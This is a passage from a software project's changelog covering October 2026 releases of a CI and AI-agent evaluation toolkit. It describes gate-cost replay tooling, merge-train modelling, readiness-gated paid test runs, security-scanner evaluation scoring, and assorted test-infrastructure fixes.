- **Still refused:** `--dirty` and `--broken`, which take `index.lock` and rewrite `.git/index` (seen under strace on git 2.55), plus `--contains`, `--all`, any other flag, a second revision, redirection and composition. Write-capable Git commands such as `git tag` and `git update-index` stay outside the interface.
- **Gate integrity:** this widens one observer allowlist (`test/helpers/docsync-observer.ts`) and tightens nothing. Free regressions cover all 36 Bash commands of the captured run and run each accepted form against a tagged fixture with an out-of-date file timestamp, checking that the repository and the raw index bytes don't change. Negative controls show that `git describe --dirty` really rewrites the index.

## [1.91.138.0] - 2026-10-18

**`scripts/gate-cost-replay.ts --history` replays PR gates' red runs and READY times, so the merge-train plan's two estimates are measured instead of assumed.** Over Oct 3 to 18 (505 E2E Evals runs, 92 merged PRs), the screen-provisional rule run on each failing head's diff from its tested base would have missed the PR-caused red on 2 of the 13 PRs that had one (#3036, #3121): 2 of 72 paid-relevant PRs (2.8%), against the plan's 6% estimate. 13 of 92 merged PRs had a PR-caused red, matching the plan's figure. Replaying READY arrivals through trains of 5 with a 3-hour fill limit, the realized train averages about 2.3 PRs, so trains make 22 to 29 gate attempts a week rather than the 12 to 20 the train model assumed, and READY-to-merge p90 runs 5 to 8 hours. This is lane T0 of the plan to cut the paid gate bill about 4x; nothing changes what any gate runs.

### Added
- **Red attribution as code.** Each failed case of a red PR-gate run is PR-caused or outside by GSTA-47's rule: a transcript diagnosis, red in another PR within 72 hours, the next gated run's own diff, or whether the push to it changed the case's inputs. It reproduces all 22 of GSTA-47's PR-caused runs and the same 13 PRs.
- **The red-head replay.** Every PR-caused red case is checked against the screen-provisional rule on the failing head (not the merged squash), diffed from the base its run tested (the tested merge commit's first parent). The canary set is fixed in code before any replay (`SCREEN_CANARY_CASES`, one gate case per preamble-dependent surface) and is provisional until T2 lands. The report also lists misses with an empty canary set: here it made no difference, and 22 of the 28 red cases were caught only because the failing head changed a harness global, which makes the screen the full gate.
- **The READY-arrival replay.** READY is approximated by the first time the merged own diff (modulo main merges and stamps) had green Free Tests and E2E Evals before the merge; READY reports are not machine-readable. Arrivals then run through the train policy (screened PRs first, unscreened in their own train once 5 wait, 45 minutes a gate and a bisect, the train model's red and rebuild rules), reporting occupancy, rebuilds and READY-to-merge p50/p90 beside today's (p50 0.1 h, p90 3.3 h).
- Logic lives in `lib/gate-cost-history.ts`; the CLI reads runs, PRs and `report-verdict`/`trial-outcomes` artifacts read-only with `gh`, cached, and fetches old PR heads by SHA.

- **…want current numbers:** run `bun run scripts/gate-cost-replay.ts --runs <full-gate run ids> --since <date> --until <date> --history`. A cold run downloads the full gates once (about 9 minutes); a cached rerun takes about a minute.

## [1.91.137.0] - 2026-10-18

**`scripts/gate-cost-replay.ts` measures what the paid PR gate costs, and what each selection or merge-train policy would have cost, from recorded artifacts and for free.** On the nine full gates of Oct 17 and 18 it reproduces GSTA-49's measurement: $93.14 recorded per gate, 97.1% of it Fable 5.1 (the model under test), 49.8% cache writes and 40.3% output. Over the 92 squash merges of Oct 3 to 18, today's selector averages $78.67 per merged PR on the $106.19 full-gate scale, R4's exercised-map shadow $64.27, and the screening rule $45.17 (screen-provisional). This is lane T0 of the plan to cut the paid gate bill about 4x; nothing changes what any gate runs.

### Added
- **`bun run scripts/gate-cost-replay.ts --runs <ids> [--since/--until | --prs] [--json]`.** It downloads the runs' `paid-slice-*` and `trial-outcomes` artifacts read-only with `gh` into `.context/gate-cost-cache` once, then prints recorded $ per gate by model and by token class (priced through `lib/pricing.ts`), a per-case mean cost table, and each merged PR's selection cost under today's selector, R4's shadow and the screening rule. A case whose runs record no cost (the PTY sessions) is estimated from its duration and marked estimated.
- **Screening figures print as `screen-provisional`.** The rule's preamble detector is a line-commonality heuristic, not T2's hunk classifier, so the figures stay heuristic until T2 lands. A `package.json` change that only moves the version is neither selected nor a canary trigger, and all 24 judges always count.
- **A seeded merge-train model.** Every merged PR lands in a train. PRs carry defects at the screened (6%) or unscreened (25%) rate, gates flake at 10% or 15%, each red pays a $6 bisect, a culprit is dropped and requeued, and an unattributed red gets one rebuild. It reports $ per week and per merged PR against $9,950 and $8,400 a week, plus screen spend, trains, gate attempts, bisects, rebuilds, stalls and red shares, for screening every PR, 80%, half, the cheapest or the most expensive half, or none. It uses CPython's Mersenne Twister, so seed 1 reproduces the measurement's sim.py exactly (trains of 5, 15% outside reds: $3,403, $2,672 and $1,986 a week for all, half and none).
- Logic lives in `lib/gate-cost.ts`; the command is documented in docs/TESTING_INTERNALS.md#replay-gate-cost and CONTRIBUTING's "Which command do I run?".

### If you…
- **…want current numbers:** run `bun run scripts/gate-cost-replay.ts --runs <full-gate run ids> --since <date> --until <date>`. A shallow checkout tells you which `git fetch --shallow-since` to run first.

## [1.91.136.0] - 2026-10-18

**/cso release qualification counts a tested claim as false only when trusted evidence could have certified it.** In the second paid runtime qualification, the falsely-tested gate counted 33 claims. 12 of them were on the evaluator's own fixture instrumentation and 2 were on real incidental issues, which only the seeded repair verification could ever certify. Garry chose option 1.

### Changed
- **Tested claims on declared instrumentation count in neither direction.** A finding the evaluator marks `instrumentation` is never falsely tested and never certified, the same way precision leaves it out.
- **A tested claim on an incidental finding needs a passing replay.** The evaluator replays the helper's signed repair bundle for that finding against the trusted source and records `trustedReplay`. Only `passed` with a 64-hex `replayEvidenceHash` certifies the claim. `failed` or `missing` (no bound bundle) leaves it falsely tested.
- **Recall, repair, held-out repair, the v2 baseline and every threshold are unchanged.** Those still need the seeded issue and the judge's own held-out verification. Validation rejects `trustedReplay` on any judgment other than a claimed `incidental`, a malformed or reused hash, and unknown fields.

### If you…
- **…write an evaluator for `cso-eval.ts`:** write `trustedReplay` only on claimed `incidental` findings, with `result` `passed`, `failed` or `missing`, and `replayEvidenceHash` on `passed` only.

## [1.91.135.0] - 2026-10-18

**/cso evaluation cells that run a repair no longer fail on the helper's own file names.** In the second paid runtime qualification, one comprehensive Rails cell failed with REDACTION_FAILED. Once a repair ran, the helper retained dependency closures as `<finding id>-before-<plan hash>.json`. The producer's artifact inventory checks each path component, and this name didn't match any known helper-ID shape. So the secret redactor read the 64-character hex finding ID as a credential and failed the whole cell.

### Fixed
- **The eval producer recognizes dependency-closure file names.** `<64-hex finding id>-before|after-<16-hex>.json` is now a helper-ID shape, like run IDs and scanner-outcome names. Any other word in that position still goes through the redactor, and a test pins both cases.

## [1.91.134.0] - 2026-10-18

**The paid PR gate now starts only after a PR head's free tests pass and the PR has been quiet for 10 minutes, and a head whose own diff already passed the gate reuses that verdict instead of paying again.** Re-measured over Oct 3 to 17 (505 runs, $21,449) with GSTA-47's scripts: the readiness wait alone would have saved $2,986 (about $1,380 a week), and verdict reuse up to $601 more (restamp-only $97, main moved $504). Together that is up to $3,587, about $1,660 a week; how much of the main-moved share survives the selection check is between $146 and $390 of the $601 by approximation. The same heads still get the same selection and verdict rules; only the start time moves. The PR receipt store, which never restored once, now does.

### Changed
- **Readiness-gated dispatch (R1).** The `readiness` job in `evals.yml` replaces the 90-second push-burst debounce. It sleeps out the quiet window (repository variable `EVALS_QUIET_MINUTES`, default 10; `evals-no-debounce` sets it to 0), then waits for Free Tests to pass on the same head SHA, for up to 80 minutes. Free Tests red on the head fails the run with no paid work. A newer push still cancels the run. Dispatches never wait, and Version Gate is not an input, so a stamp push always gets its gate.
- **The receipt store restores.** `slices-report` now runs on a GitHub-hosted runner like `recover-receipts`. On Ubicloud its `actions/cache` save went to Ubicloud's transparent cache, which the GitHub-hosted restore never sees: GitHub's cache held no `eval-input` entry at all, and #3253's restamp gate restored nothing 3 minutes after its green run saved 56 receipts.

### Added
- **Paid-gate verdict reuse (R2a restamp-only, R2 main moved), a gate edit.** A PR head reuses the newest executed gate's GREEN verdict only when every newer run of the PR provably ran no paid slice, the gate had reconcile exit 0 and no manually accepted case, this head's own plan has the same selection fingerprint, and either (R2a) the base is unchanged and the tree receipt prints `TREE: same-modulo-stamps` with only VERSION, package.json, CHANGELOG.md or the agents digest differing, or (R2) main moved and the PR's own diff from its merge-base, stamp files excluded, is byte-identical. Base-ref code proposes the reuse (`scripts/gate-reuse.ts find`), the planner confirms the selection, no slice runs, and the PR comment says `PASS (reused: restamp-only, R2a)` or `PASS (reused: main moved, R2)` with the reused run, its head, why, and the receipt digest or own-diff signature. Free Tests and every other check still run on the new head. Anything else (a changed own diff, a non-stamp byte, a newer red or partial run, a missing binding, receipt or merge-base, `evals-fresh`) runs the full gate.

### Fixed
- **The tree receipt no longer drops diff lines that start with `--` or `++`.** Its unified-diff parser treated `---`/`+++` inside a hunk as file headers, so a release-output line beginning `++` or `--` could pass as a stamp. It now reads headers only before a file's first hunk, and a file mode change is never a stamp.
- **`autoplan-guard-pty` no longer stalls at the phase boundary.** Its scripted actor (haiku) published Phase 1, printed "Phase 1 complete." and ended its turn, so the case idled to its 480 s deadline with 2 of 4 guarded allows. This is the 489 s red seen on #3190, #3258, #3260 and this PR's stamped gate (run 39099195754). The script now runs steps 1 to 11 in one continuous run, and says the Phase 1 line is a boundary, not the end. The publication and the Phase 2 entry stay in separate messages. The case also stops waiting as soon as the actor ends its turn there, and names the cause `PHASE_BOUNDARY_STOP`.

### If you…
- **…want a restamp to reuse its gate:** put the CHANGELOG entry in the gated push (under `## [Unreleased]` or the tentative version), so the stamp only re-heads it.
- **…want a main merge to reuse its gate:** merge or rebase without touching the PR's own files; if main changed a file your PR also changes, the full gate runs.
- **…see "Free Tests run N concluded failure" on E2E Evals:** fix and push, or re-run Free Tests and then re-run E2E Evals.

## [1.91.133.0] - 2026-10-18

**A lane on a small machine no longer reports done while its pregate test tier still waits on a remote run.** The coordinator contract every lane inherits (autoplan reviewer prompts, `gstack-autoplan contract`, /spec's gate-and-file section) now says a lane is done only when `gstack-pregate run --allow-repo-commands` passes, and that a `requires-remote` obligation needs `--stage tests --remote --spend-cap <cap>`.

### Changed
- **Coordinator contract, "Before done":** `requires-remote` is unfinished, and the step names the `--remote` command that clears it. The WIP-push and sealed-guard rules are unchanged.

## [1.91.132.0] - 2026-10-18

**On a machine under 8 cores, `gstack-pregate` clears its test tier on one Ubicloud VM in about 7 minutes for about $0.06, instead of running locally for an hour.** gstack's own `.gstack/pregate.json` now declares a remote gate, so a small machine records the local test tier as a `requires-remote` obligation and `gstack-pregate --stage tests --remote --spend-cap 2 --timeout 2700 --allow-repo-commands` clears it. All 1,280 free test files ran in 404 s (create 24 s, setup 72 s, tests 250 s) for $0.06; the same 798-file selection took 3,550 s locally on 4 cores. `gstack-next-version` also fetches open PRs' VERSION claims in parallel (8 PRs: 4,160 ms before, about 0.5 s now) and says so when it could not read one.

### Added
- **`scripts/ubicloud/pregate-remote.sh`, gstack's remote gate.** With `UBICLOUD_API_KEY` it runs the selected files on one VM with `bun run test:ubicloud`'s environment, checks the tree and the planned file set on the VM before any test runs, and reports `PREGATE_REMOTE: tree=… tests=… failed=… spent=…` from billed minutes. Without a key it runs the same files locally in parallel shards and prints `backend=local (N cores; not the CI environment)`.
  - The spend cap buys the wall time at the size's list price (at most 45 minutes); a cap that cannot buy 20 minutes refuses before any VM exists.
  - It finishes before pregate's own `--timeout`: 120 s are reserved for teardown, and a deadline too short to be useful refuses up front.
  - At create time it prints the VM name and the exact `bash scripts/ubicloud/ubi-runner.sh down <name>` line.
  - Paid test files in a selection are named and left to the paid PR gate; a paid-only selection reports `tests=0`, which never clears.
  - Every refusal starts with a `PREGATE_REMOTE_*` reason code; the table is in docs/pregate.md#remote-gate.
- **`test-free-shards.ts --files-from <path>`** plans exactly the listed files. Unknown paths, an empty list and malformed or repeated lines are rejected before planning.

### Changed
- **`gstack-next-version` fetches claims concurrently** (up to 10, 15 s each) and sorts its output by PR number. A fetch that times out or fails is listed in `unknown_claims`, the JSON says `complete: false`, and the pick is marked provisional on stdout and stderr. The fork/path hint appears only for HTTP 404.
- **`gstack-restamp` in claim-at-open mode reports an incomplete claim queue as `claims: incomplete`**, naming the unknown PRs, instead of `read`.

### If you…
- **…run `gstack-pregate` on a machine under 8 cores in this repo:** clear the test tier with `gstack-pregate --stage tests --remote --spend-cap 2 --timeout 2700 --allow-repo-commands`. Keyless works too but is practical only for small selections (98 files took 103 s on 4 cores).
- **…see `complete: false` from `gstack-next-version`:** rerun it before stamping; the slot may collide.

## [1.91.131.0] - 2026-10-18

**`gstack-pregate` finds the tests for Python files, and a missing `node_modules` no longer reads as "stale generated files".** In a Python repo, the `lanes` check failed almost every touched `.py` file with `PREGATE_NO_LANE`, because the import graph only parsed JavaScript and TypeScript. In a FastAPI service with about 1,500 non-test modules, Scott Gigante's change (#3201) cut the unmapped count from 1,473 to 780, and most of the rest are migrations and scripts no import reaches. Separately, a fresh checkout without `node_modules` made the pre-gate report `REGEN_STALE` and suggest rerunning the generator, which sent people the wrong way.

### Added
- **Python import edges in `lanes`** (thanks @scottgigante-hubflow, #3201). `import a.b`, `from a.b import c`, parenthesised lists and relative `from . import x` resolve from the repository root to `a/b.py` or `a/b/__init__.py`, plus the package `__init__.py` files Python runs on the way in. Stdlib and site-packages imports add nothing. In test files, a dotted `mock.patch` target such as `'pkg.mod.Class.method'` maps to its module.
- **`REGEN_DEPS_MISSING`.** When a regen command exits 0 with different outputs, `package.json` declares dependencies and `node_modules` is missing, `gstack-regen check` and the pre-gate say "dependencies missing (no node_modules); run bun install, then rerun the check" instead of `REGEN_STALE`. The install command follows the lockfile. The pre-gate check is `incomplete`, never `pass`.

### Fixed
- **The Python scanner stays linear on hostile input and does not drop tests.** Review found several problems before landing, all fixed:
  - Long runs of dots or spaces after `from` no longer backtrack quadratically.
  - Deep dotted names stay linear, and real deep modules still map.
  - An escaped triple quote no longer swallows the imports after it.
  - A literal that names a repo file still gets its `mock.patch` reading.
  - A package and a same-named module both map.
  - Imports after `;` or `:` count.

### If you…
- **…run `gstack-pregate` in a Python repo:** touched modules now select the pytest files that import them. `conftest.py`, `src/` layouts and `importlib` calls still need `.gstack/pregate.json` `dependencies` declarations.
- **…see `REGEN_DEPS_MISSING`:** run the printed install command, then rerun the check.

## [1.91.130.0] - 2026-10-18

**Every PR plan now shows what a tighter, exercised-path case map would run, without changing what actually runs.** Today a change to a bin or lib file reaches almost every gate case, because selection follows every mention of the file. The exercised-path map counts only what a case really executes: its touchfiles, its test's imports, the shell its skill runs, and the bins its recorded trials invoked. It runs in shadow mode. Replayed over every PR run that had a gate red between 2026-10-07 and 2026-10-17 (37 runs, 47 failed gate cases), it keeps all 47: `bun run test:exercised-map --replay`.

### Added
- **A shadow line in each PR plan's coverage summary.** It names the gate cases the map would select, drop and add, with per-file provenance and a predicted saving. The saving is a lower bound, because about 39% of observed case runs (the PTY trials) have no known cost.
- **`bun run test:health` reports the shadow saving and shadow misses per week.** A red on a case the shadow would drop counts as a miss unless the case passed later at the same head SHA, which lists it as a flaky drop.
- **MAP_GAP lines in the paid report.** A command a case ran outside its map is printed as `MAP_GAP <case> <bin>`, marked non-blocking for this PR, and widens the map at the next refresh. It never affects a verdict.
- **`bun run test:exercised-map`** refreshes the committed map (`test/helpers/exercised-commands.json`) from a census run (`--from-run <id>`) or from local artifacts (`--from-dir`). Refreshes only add commands. Unavailable or partial input writes nothing and exits with a stable code: 2 usage, 3 unavailable, 4 incomplete.

### For contributors
- The weekly census unions its own recorded commands into the map and uploads it as `exercised-map-a<attempt>`.
- A PR that changes only the map selects no paid case while the map is in shadow mode.
- docs/TESTING_INTERNALS.md#exercised-path-map documents the edge classes, the refresh contract and the activation bar.

## [1.91.129.0] - 2026-10-18

**PR paid-lane selection reads every script it depends on, and fails closed when it can't.** Selection derives which paid cases a changed file reaches by scanning imports. It skipped extensionless `bun`/`node` scripts, read 15 `.ts` files with the TSX loader, and treated a scan error as "no consumers", which under-selects. Across all 2,223 code files in the repo, scans now finish with 0 errors, and no (file, case) pair that main selected is lost.

### Fixed
- **Shebang scripts and `.ts` files are scanned correctly.** A leading `#!` line is stripped before scanning, extensionless `bun`/`node` scripts count as code, and the loader is chosen by file extension. 41 files that reached no paid case now reach the cases that use them.
- **A failed import scan restores the full gate** with the label `import scan failed` and the file to fix, instead of silently selecting nothing.
- **Repository config no longer looks like an unknown dependency.** `.gstack/ship-policy.example.json`, `.github/dependabot.yml`, `.osv-scanner.toml`, `setup.ps1`, `.gitlab-ci.yml` and `.github/ISSUE_TEMPLATE/**` are audited free-only files; `capy/` paths are derived like other source; a full-gate file is labelled `full-gate input`.

### Added
- **`bun run test:health` reports cost per merged PR first**, plus gate cases per PR run and known cost per PR run, split by selection mode.

### For contributors
- The selection replay (`scripts/replay-pr-selection.ts`) honours the same free-only exemptions as the selector when it counts misses.
- docs/TESTING_INTERNALS.md#pr-paid-lane-fallback describes the fallback classes as they now behave, and records why the lockfile stays a full-gate input.

## [1.91.128.0] - 2026-10-18

**The two free-suite duration seeds now refresh themselves weekly.** The shard packers read a Linux and a Windows duration seed, and both went stale as test files came and went. They were refreshed by hand twice this week. A new weekly workflow records both seeds and opens one seed-refresh PR when either seed's file set changes. That PR goes through the normal review.

### Added
- **`free-durations-record.yml`** runs Mondays at 04:00 UTC, before test-health, and on dispatch. It records the Linux seed on `ubicloud-standard-8`, the free-suite shard runner, and the Windows seed through `windows-free-tests.yml`'s `record_durations` path (now also callable with `workflow_call`). When either seed adds or drops a file, it opens or refreshes one PR on `bot/free-duration-seeds` and runs the free lanes on it. The PR body states the seed-ratchet result and names every file that failed while recording.
- **Guards:** the bot never edits `scripts/free-test-seed-allowlist.json`. While the open seed PR holds any commit besides the bot's own refresh, later runs leave it alone. Only runs on `main` publish, and `open_pr=false` records and reports only. An interrupted recording, or more than 5 red files on either OS, proposes nothing.

### Fixed
- **An interrupted manual Windows recording no longer uploads the unchanged committed seed** under the Windows seed name.

## [1.91.127.0] - 2026-10-17

**The paid PR gate stops failing on its own fixtures.** A 132-verdict PR gate was fully green only about a quarter of the time. Every red verdict since #3231 was diagnosed from its transcript and replayed through the real detector. This release fixes the remaining causes where they start: fixture actors that broke the production protocol, detectors that misread a correct run, and skill prompts that left the agent guessing. No threshold, trial count, case kind or quarantine changed.

### Fixed
- **The State Machines specialist runs when its detector fails.** The /review and /ship scope block now runs `gstack-state-matrix detect` itself and uses its output only on exit 0. A failure prints `SCOPE_STATE_MACHINE=unknown` with the detector's stderr, and unknown dispatches the specialist. Its output reaches `gstack-state-matrix check` as a file the agent writes, never as text in a shell command.
- **Consent options are lettered B, C and D when Aside is absent**, matching the question's answer keys.
- **Plan-reality tier 1 rows are never n/a.** A run no longer loops repairing `deferred-asks n/a` past its deadline.
- **/qa's exploratory stop rule needs one probe per documented input rule of each field.** Each probe breaks only its rule and satisfies every other, so a value that breaks two rules covers neither. Rules left uncovered at the probe or time cap go to limits. After a fix, every earlier capture is superseded: rerun each one the verdict relies on, or report it as open.
- **`gstack-docs-candidate snapshot --help` and `compare --help` exit 0** before any side effect, and a compare reject names the path, each bad field and a fix that never re-snapshots over the pre-audit baseline.
- **The docsync fault actor uses the production candidate protocol.** It writes candidates through the installed snapshot, and a failed snapshot reports a stable reason with one retry under a fresh audit id.
- **The required-probe reminder counts only captures after the last source edit** when the caller declares `GSTACK_QA_REQUIRED_AFTER_EDIT`. Pre-repair captures no longer look like post-repair coverage. Without the declaration nothing changes.
- **Webhook fix evals reserve the post-repair reruns first** inside the unchanged 12-capture ceiling.
- **The autoplan guard eval's actor waits for the reviewer.** It ends its turn after a background dispatch and reads the close packet only after the reviewer finishes; before, the haiku actor sometimes read it early and failed the case on ordering alone.
- **The shim-dom scan check resolves the command's own `_REPORT`/`_RUN`**, so a correct scan is no longer a red.
- **PTY failure dumps show the last non-blank screen**, and visible text no longer carries cursor show/hide escapes.
- **Windows budgets:** the nested review-army and answer-invalidation tests get explicit 30-45 s timeouts instead of Bun's 5 s default.

### Changed
- **HARNESS_VERSION is 5.** The PTY `stripAnsi` change can change pattern matches, so every case starts a new pass-rate series.
- **The qa-callers fixture prompt binds paths instead of teaching helper syntax**, and points to the QA section for every form.

### If you…
- **…write a caller for `gstack-qa-evidence`:** set `GSTACK_QA_REQUIRED_AFTER_EDIT={"paths":[absolute paths],"since":ISO}` when your required probes must run after a repair.

## [1.91.126.0] - 2026-10-17

**Artifacts sync stops saying "ok" when two project folders differ only by letter case.** When the artifacts repo tracks two spellings of one project, such as `projects/MyApp/` and `projects/myapp/`, a Mac or Windows disk stores them as one file. Git there staged each write under the other spelling and the sync reported `ok`. One spelling then stayed modified forever, and other machines read the wrong bucket (#3220). This lands the detector from Kkkkkuro's #3223 and #3245, with credit, and holds those files instead of halting the whole sync.

### Fixed
- **Case-colliding paths are held, not staged.** A queued file whose path differs only by letter case (NFC plus casefold, at any folder level) from another path in the repo or the batch stays queued and is never staged. Everything else keeps syncing, and the status is `collision`, never `ok`. When one spelling is already tracked, it keeps syncing and only the new alias waits.
- **Sync verifies what `git add` staged and what a push would publish** (Kkkkkuro, #3245). Paths or bytes that never reached the index keep the queue. A local commit or retry merge that would add a new case alias to the remote stays local, and that check now covers `--publish-removals` too.

### Added
- **One skill-start line names the collision and the repair:** `ARTIFACTS_SYNC: attention: case-collision held=<N> names=<names>. ...`, with the manual repair at `docs/troubleshooting.md#artifact-case-collision`. `gstack-doctor` warns the same way. Slug resolution and skill start are unchanged and never stop over this.

### If you…
- **…see the case-collision line:** keep one spelling with the repair steps in the troubleshooting doc. Nothing is merged or renamed automatically.

## [1.91.125.0] - 2026-10-17

**/cso release qualification measures precision on the application, not on the evaluator's own test rigging.** In the first paid runtime qualification, the daily precision gate failed on every stack (8/34 to 8/49). 116 of the 132 findings counted as false positives pointed at instrumentation the evaluator plants in each fixture: canary credentials and the egress probe route. Most of the other 16 were real issues the fixtures happen to contain. Garry chose to keep the 0.95 bar and fix what it counts.

### Changed
- **Daily precision leaves out findings on declared fixture instrumentation.** The trusted evaluator marks them `instrumentation`, and they count in neither term.
- **A confirmed real issue counts as a true positive.** When a unanimous judge panel confirms a non-seeded finding is a real issue in that source, the evaluator marks it `incidental` with an opaque key. Each distinct key adds one true positive per cell, so restating it never inflates precision. It never counts toward recall.
- **Recall, the v2 baseline and every threshold are unchanged.** Validation rejects either new judgment on a hypothesis or with a seeded match, and rejects a missing or malformed key.

### If you…
- **…write an evaluator for `cso-eval.ts`:** `incidental` needs a 64-hex `incidentalKey`, and no other judgment may carry one.

## [1.91.124.0] - 2026-10-17

**/cso runs finish on time.** In the first paid runtime qualification, one comprehensive run submitted its findings ten minutes in, kept working for another 25 minutes without calling the helper, and was killed before it called `finish`. Its report was never finished, so the cold-start gate scored 63/64. The agent had no clock to follow.

### Added
- **Helper replies carry `remainingSeconds`.** `start`, `resume`, `submit`, `scan`, `scanner-outcome`, `import-sarif`, `record-review`, `test-plan`, `runtime-plan`, `verify` and `inspect` report the whole seconds of investigation time left. The count stops where `scan`, `verify` and `record-review` start refusing with DEADLINE, so the final reporting minute stays free for `submit` and `finish`. The field is added after the command and only omitted if the deadline can't be read, so it never turns a saved change into an error.
- **The /cso skill follows the clock.** It now says to start only work that fits and, below 120 seconds, to stop waiting and `finish`.
- **Producer receipts record a content-free tool timeline.** For each tool call the eval producer records the name, its start and end offsets, and whether a subagent made it. It never records inputs or outputs. The timeline is capped at 4096 entries, validated on read, and left out of the batch index. Scoring is unchanged.

### If you…
- **…drive `gstack-cso` from your own agent:** read `remainingSeconds` from each reply and stop starting work below two minutes. `inspect` refreshes it without side effects.

## [1.91.123.0] - 2026-10-17

**/cso comprehensive repairs run again.** In the first paid runtime qualification, the agent recorded 148 repair reviews across 42 comprehensive runs, but not one verification attempt started. Every runtime scored 0/24 on held-out repairs. Two helper bugs stacked: the patch write failed on the snapshot's read-only files, and `runtime-plan` handed the agent a profile name that `verify` refused.

### Fixed
- **`verify` can patch read-only snapshot files.** Snapshot copies keep their 0444 modes, so writing the patched file failed with EACCES for any non-root user, which is how real users and the evaluator run. The error surfaced as a generic "unexpected or unsafe input". The helper now makes the file owner-writable for the write and restores its mode afterwards.
- **`runtime-plan` returns the qualified runtime ID** (for example `node-24.4.0-amd64`) instead of the stack alias, and the skill copies that value into the verification request. `verify` rejects any other profile with an `INVALID_ARGUMENT` that names the expected ID, before an attempt is counted.

### If you…
- **…build a verification request by hand:** use the `runtimeProfile` that `runtime-plan` printed. The stack alias is refused.

## [1.91.122.0] - 2026-10-17

**Main no longer goes red on 2026-11-16.** All seven `.osv-scanner.toml` suppressions expired on 2026-11-30, and `test/osv-ignore-expiry.test.ts` fails 14 days early. Six are gone and the seventh is re-dated with an upstream link. Dependabot's grouped dev bump (#3228) is replaced by hand, and Version Gate stops failing every dependabot package.json PR.

### Fixed
- **Six OSV suppressions removed (#2754, #2753).** The hono, @anthropic-ai/sdk and sprintf-js ignores no longer matched either lockfile. image-size is overridden to 2.0.4. braces leaves `lib/diagram-render` because chokidar is overridden to 4.0.3; that bundle's sha256 is unchanged. katex (low) is re-dated to 2027-01-31: its fix needs a mermaid 11 release that allows katex 0.18 (mermaid-js/mermaid#8388). osv-scanner reports no issues and no unused ignores.
- **`make-pdf --to docx` no longer hangs on an ICNS image.** html-to-docx 1.8.0 sizes images with its own bundled image-size 1.x, which the override cannot reach and which loops forever on GHSA-w3rx-r6r6-pgpr's input. ICNS images are dropped with a warning before conversion. The result is re-parsed with html-to-docx's own html-to-vdom, so a tag the guard misreads fails the conversion instead of hanging it. Every other image format embeds as before; a golden test pins the Word output.
- **Version Gate passes dependabot dependency PRs.** Hard rule 1 (VERSION above base) is skipped only when the author is `dependabot[bot]` and every changed file is a `package.json`, a `bun.lock` or `.github/dependabot.yml`. A failed file lookup keeps the rule.

### Changed
- **@types/bun 1.4.3 and prettier 3.9.10.** The test type baseline drops 18 diagnostics.
- **Dependabot holds both Anthropic SDKs to patch updates.** Their breaking 0.x releases (agent-sdk 0.2 to 0.3, sdk 0.78 to 0.133) count as minor bumps to dependabot and break `typecheck:test` and `overlay-sdk-cancel-eof`.

### If you…
- **…delete an OSV ignore after adding an override:** check that the vulnerable code loads from node_modules. A dependency that bundles its own copy keeps the old code even though the lockfile looks fixed.
- **…convert untrusted markdown with `--to docx --allow-network`:** html-to-docx still downloads remote images and sizes them with its bundled copy (#2753 stays open for this).

## [1.91.121.0] - 2026-10-17

**Windows free-test shards stop running out of time on files the Windows seed didn't know.** The Windows duration seed dated from 2026-10-04 and had no entry for `test/gstack-doctor.test.ts` (about 6.5 minutes on Windows) or `test/hook-scripts.test.ts`. The packer guessed, put `cookie-import-native-job` into a 121-file shard, and that shard hit the 15-minute job limit.

### Fixed
- **Windows duration seed refreshed from a real `windows-latest` recording.** `scripts/free-test-durations-windows.json` goes from 638 to 738 entries. The six-shard plan now gives `gstack-doctor` a shard of its own and puts the other slow files in separate shards. The shard job's timeout and shard count are unchanged.
- **`--record-durations` honors `--wall-timeout`.** The recorder used to kill any file at 360 s and record that deadline as its duration. The Windows recording job now passes `--wall-timeout 1200` and uploads its full per-file logs.

### If you…
- **…refresh the Windows seed:** run `gh workflow run windows-free-tests.yml --ref <branch> -f record_durations=true`, check that the job exited 0, then commit the `free-test-durations-windows` artifact. A file that fails while recording now leaves its log in `windows-record-durations-logs`.

## [1.91.120.0] - 2026-10-17

**The Windows doctor test no longer times out.** The `windows bash` test from v1.91.117.0 ran five full `gstack-doctor` passes in one test. Each pass takes up to about 6 s on a Windows runner, so the test took 20 to 30 s against the 30 s per-test limit, and it timed out on one pull request run.

### Fixed
- **The `windows bash` doctor test is three tests, one per case,** each with its own fixture and at most two doctor passes. All 13 assertions are unchanged, and no timeout was raised.
- **The `EBUSY` cleanup error that followed the timeout** came from the timeout itself. On a timeout, Bun kills the bash child the test is waiting on, but the doctor's own `bun` and `git` subprocesses keep running and hold the fixture directory open on Windows. With every test well inside the limit, nothing is killed mid-run.

### If you…
- **…add cases to a test that shells out to `gstack-doctor`:** give each case its own test. A full doctor pass costs seconds on Windows, and a test killed at its timeout leaves orphaned children that lock its temp directory.

## [1.91.119.0] - 2026-10-17

**The weekly health check's seed check passes again.** 54 free test files had landed since the 2026-10-15 recording, so CEO-10 in `bun run test:health` failed and CI packed those files at the 99th-percentile guess (#3224).

### Fixed
- **Free-suite duration seed refreshed.** `scripts/free-test-durations.json` was re-recorded on a CI-mirrored Ubicloud VM (`bun run test:ubicloud --record-durations`, no failed files): 1219 to 1273 durations, none removed. `test/setup-codex-scope.test.ts` is back under the 60 s ceiling, so its seed allowlist entry is removed.

### If you…
- **…see CEO-10 fail in the weekly health issue:** new test files outran the seed again. With `UBICLOUD_API_KEY` set, run `bun run test:ubicloud --record-durations` and commit the seed; otherwise leave it to a maintainer. A standing recorder is planned.

## [1.91.118.0] - 2026-10-17

**Free Tests is green on pushes to main again.** Since v1.91.106.0, every push to main failed `test/held-install-recovery.test.ts`, while pull request runs passed.

### Fixed
- **The held-install recovery fixture no longer assumes the checkout has no `main` branch.** On a push, `actions/checkout` leaves the checkout on a local `main`, so the fixture's clone already had `main` and `git checkout --orphan main` failed with `a branch named 'main' already exists`. Pull request runs check out a detached merge ref and never hit it. The fixture now builds on its own orphan branch and pushes `HEAD:refs/heads/main`, and a new test builds it from a source on `main` and from a detached source with no branch.

### If you…
- **…write a test fixture that clones this repository:** don't create a branch with a fixed name such as `main` in the clone. Push runs and pull request runs leave different local branches behind.

## [1.91.117.0] - 2026-10-17

**Pregate understands bats repositories and says why a fingerprint failed, `gstack-doctor` lists rescued edits and pasted skill lists, oversized SKILL.md files can no longer grow, and hosts without plan mode drop the plan-mode preamble.** The last PR of the 2026-10-15 fix wave (`docs/designs/FIX_WAVE_2026_10_15.md`, PR 5), built after #3190.

### Fixed
